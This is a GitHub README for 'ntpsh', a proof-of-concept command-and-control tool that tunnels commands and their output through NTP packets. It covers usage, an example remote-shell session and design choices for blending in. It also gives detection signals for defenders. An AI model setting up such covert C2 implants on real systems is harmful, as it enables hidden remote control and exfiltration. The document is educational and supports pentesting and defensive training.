close
Skip to content

cduram/ntpsh

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ntpsh - NTP-based C2

A simple C2 tool that encapsulates command traffic within NTP (Network Time Protocol) packets.

Overview

This tool demonstrates how attackers can abuse the NTP protocol for covert command and control. The traffic appears as NTP on the wire (UDP port 123) but carries Base64-encoded commands and output. This was a very simple and quick project to get a feeling for what a C2 over NTP would look like, and how feasible it would be to use it during a pentest engagement. Yes I used Claude to make my life easier.

The code is intentionally verbose and heavily commented for educational value — every design decision maps back to a specific RFC 5905 field or protocol constraint.

https://www.activecountermeasures.com/malware-of-the-day-c2-over-ntp-gomesa/ https://github.com/ryanq47/CS-EXTC2-NTP

How It Works

  1. The agent sends NTP client requests to the server on UDP port 123
  2. A magic identifier (NTP1) in the transmit timestamp field (bytes 40-43) identifies C2 packets; packets without it receive a legitimate NTP time response
  3. Command output is Base64-encoded and appended after the 48-byte NTP header
  4. The server responds with an NTP server reply containing the encoded command
  5. The agent decodes and executes the command, buffering the output for the next beacon

NTP Packet Structure

Per RFC 5905, NTP packets have a 48-byte header:

Byte   0    : LI (2 bits) | VN (3 bits) | Mode (3 bits)
Byte   1    : Stratum
Byte   2    : Poll interval exponent (max seconds between messages)
Byte   3    : Precision (log2 of clock resolution)
Bytes  4-7  : Root Delay
Bytes  8-11 : Root Dispersion
Bytes 12-15 : Reference ID (e.g. "GPS " for stratum 1)
Bytes 16-23 : Reference Timestamp
Bytes 24-31 : Origin Timestamp
Bytes 32-39 : Receive Timestamp
Bytes 40-47 : Transmit Timestamp

Our covert channel occupies two of these fields:

Field Normal use Our use
Bytes 40-43 Transmit timestamp (seconds) Magic identifier NTP1 (0x4E545031)
Bytes 44-47 Transmit timestamp (fraction) 4 random bytes for entropy
Bytes 48+ — (packet ends at 48) Base64-encoded payload

Legitimate NTP clients send and receive exactly 48 bytes. Any packet larger than 48 bytes is an immediate anomaly.

Files

File Role Platform
ntpsh-server.py Operator console — listens for beacons, issues commands Any (root required)
ntpsh-agent.py Implant — polls server, executes commands, exfiltrates output Linux/macOS
ntpsh-agent.ps1 Implant — same as above, PowerShell implementation Windows

Usage

Server (requires root for port 123)

sudo python3 ntpsh-server.py [bind_ip] [-v]
Argument Default Description
bind_ip 0.0.0.0 Interface to listen on
-v / --verbose off Print NTP field-level breakdown for each packet (see below)

Agent (Python)

python3 ntpsh-agent.py <server_ip> [poll_interval_seconds]
Argument Default Description
server_ip required IP of the C2 server
poll_interval 2 Seconds between beacons

Agent (PowerShell)

.\ntpsh-agent.ps1 -ServerIP <ip> [-PollInterval <seconds>]

Example Session

Server (normal mode):

$ sudo python3 ntpsh-server.py
[*] NTP C2 Server listening on 0.0.0.0:123
[*] Waiting for agent connection...
[*] Type commands when agent connects. Ctrl+C to exit.

[+] Agent connected from 192.168.1.50:54321
whoami
[>] Queued: whoami
testuser
hostname
[>] Queued: hostname
target-pc

Server (verbose mode):

$ sudo python3 ntpsh-server.py -v
[*] NTP C2 Server listening on 0.0.0.0:123
[*] Waiting for agent connection...
[*] Type commands when agent connects. Ctrl+C to exit.

[+] Agent connected from 192.168.1.50:54321

  [RECV] NTP packet  ← 192.168.1.50:54321  (48 bytes)
         Byte   0    : LI=0 VN=3 Mode=3  (no-leap, NTPv3, client)
         Byte   1    : Stratum=0  (unspecified)
         Byte   2    : Poll=0  (2^0 = 1s)
         Byte   3    : Precision=2^0
         Bytes 12-15 : Ref ID = 00000000
         Bytes 40-43 : 4e545031  ← "NTP1" C2 MAGIC DETECTED
         Bytes 44-47 : a3b2c1d0  (random entropy)

whoami
[>] Queued: whoami

  [SEND] NTP packet  → 192.168.1.50:54321  (54 bytes)
         Byte   0    : LI=0 VN=4 Mode=4  (no-leap, NTPv4, server)
         Byte   1    : Stratum=2  (secondary ref (level 2))
         Byte   2    : Poll=4  (2^4 = 16s)
         Byte   3    : Precision=2^-20
         Bytes 12-15 : Ref ID = "GPS "
         Bytes 40-43 : 4e545031  ← "NTP1" C2 MAGIC DETECTED
         Bytes 44-47 : f1c2a3b4  (random entropy)
         Bytes 48+   : 6 bytes Base64 payload  → whoami

testuser

Agent:

$ python3 ntpsh-agent.py 192.168.1.100
[*] NTP C2 Agent connecting to 192.168.1.100:123
[*] Poll interval: 2s
[*] Press Ctrl+C to exit

[<] Received: whoami
[>] Output buffered (9 bytes)
[<] Received: hostname
[>] Output buffered (10 bytes)

Communication Flow

Agent                               Server
  |                                   |
  |-- NTP request (48 bytes) -------> |  Empty beacon: no output to send
  |   [Bytes 40-43: "NTP1"]          |
  |                                   |
  |<-- NTP response (54 bytes) ------ |  Server has a command queued
  |    [Bytes 40-43: "NTP1"]         |
  |    [Bytes 48-53: Base64("whoami")]|
  |                                   |
  |    execute: whoami → "testuser\n" |
  |                                   |
  |-- NTP request (75 bytes) -------> |  Beacon carries command output
  |   [Bytes 48-74: Base64("testuser\n")]|
  |                                   |
  |<-- NTP response (48 bytes) ------ |  No pending command

Design Decisions

Why the transmit timestamp field? The client populates bytes 40-47 and the server echoes them back in the origin timestamp field (bytes 24-31). Placing our magic here means the field contains data we fully control on both sides, with no server-side enforcement of its value.

Why Base64 encoding? Intentionally weak — any defender with a packet capture can decode it trivially. The goal is to demonstrate the channel, not evade analysis.

Why UDP? NTP is a UDP protocol. Using TCP would be immediately anomalous on port 123.

Why does the server also respond to legitimate NTP clients? Blending in as a real NTP server prevents the C2 infrastructure from standing out as a non-functional host. Any packet without the NTP1 magic receives a valid RFC 5905 response.

Output buffering The agent accumulates command output between beacons and sends it in the next request's payload. This means there is one-beacon latency between a command completing and its output appearing on the server.

Requirements

  • Python 3.6+
  • No external dependencies (standard library only)
  • Server requires root/admin to bind to port 123

Detection

This tool is intentionally detectable. A defender watching network traffic would see:

Signal What to look for
Packet size anomaly NTP packets > 48 bytes
Magic bytes Transmit timestamp field = 4e 54 50 31 (NTP1)
Base64 payload Printable ASCII appended after byte 48; always ends with = padding
Polling regularity Beacons arriving at fixed intervals (e.g. every 2s) vs. typical NTP jitter
Stratum mismatch Server reports stratum 2 with Ref ID GPS but has no upstream sync history
Non-standard poll byte Agent requests use Poll=0 (1s); real NTP clients typically use 6–10

Running the server with -v will annotate every packet with exactly the fields a defender would inspect, making this useful for both offensive and defensive classroom exercises.

References

Disclaimer

This tool is for educational and authorized security testing only. Unauthorized use against systems you do not own or have permission to test is illegal. The intentionally weak encoding ensures this cannot be used effectively by malicious actors.

License

MIT License - See LICENSE file for details.

About

A simple POC for a C2 over Network Time Protocol (NTP)

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors